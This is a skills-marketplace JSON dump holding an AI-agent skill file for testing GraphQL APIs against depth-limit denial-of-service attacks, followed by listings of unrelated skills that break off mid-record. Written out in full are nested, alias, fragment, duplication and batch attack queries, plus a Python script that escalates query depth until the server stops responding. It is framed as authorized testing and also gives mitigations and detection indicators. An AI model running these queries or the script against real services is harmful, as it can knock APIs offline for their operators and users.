[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EVVC4AVW6DV4X8773TATX9":3,"skill-same:01M6EVVC4AVW6DV4X8773TATX9":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":14,"repositoryHtmlUrl":70,"repositoryHomepageUrl":71,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6EVVC4AVW6DV4X8773TATX9","performing-graphql-depth-limit-attack",null,"Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"GraphQL","performing graphql depth limit attack","PS","attacks","penetration","de","id","query","007","queries","cm","complexity","testing","api","depth-limit","t1059","api-security","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-graphql-depth-limit-attack\ndescription: Execute and test GraphQL depth limit attacks using deeply nested recursive\n  queries to identify denial-of-service vulnerabilities in GraphQL APIs.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- graphql\n- depth-limit\n- denial-of-service\n- nested-queries\n- api-security\n- query-complexity\n- resource-exhaustion\n- penetration-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n---\n\n# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n","# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n",{"name":5,"tags":49,"author":56,"domain":42,"license":15,"version":57,"nist_csf":58,"subdomain":40,"description":7,"mitre_attack":63},[50,38,51,52,40,53,54,55],"graphql","denial-of-service","nested-queries","query-complexity","resource-exhaustion","penetration-testing","mahipal","1.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66],"T1190","T1059.007","T1552.001","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-graphql-depth-limit-attack",{"tool":81,"command":82},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-graphql-depth-limit-attack",{"tool":84,"command":85},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-graphql-depth-limit-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",true,[89,94,100],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md","REFERENCE","参考文档",1667,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",6969,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Fscripts\u002Fagent.py",[107,148,157,166,188,216],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":128,"publishedAt":44},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[114,117,120,123],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":149,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":156,"publishedAt":44},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[152,153,154,155],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147],{"skillNo":158,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":165,"publishedAt":44},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F